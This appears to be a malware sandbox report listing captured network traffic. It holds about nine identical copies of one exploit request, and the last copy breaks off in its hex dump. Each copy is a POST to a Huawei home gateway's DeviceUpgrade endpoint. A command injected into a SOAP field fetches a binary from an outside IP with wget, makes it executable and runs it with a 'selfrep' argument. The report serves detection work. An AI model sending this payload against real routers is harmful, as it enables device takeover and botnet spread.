Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 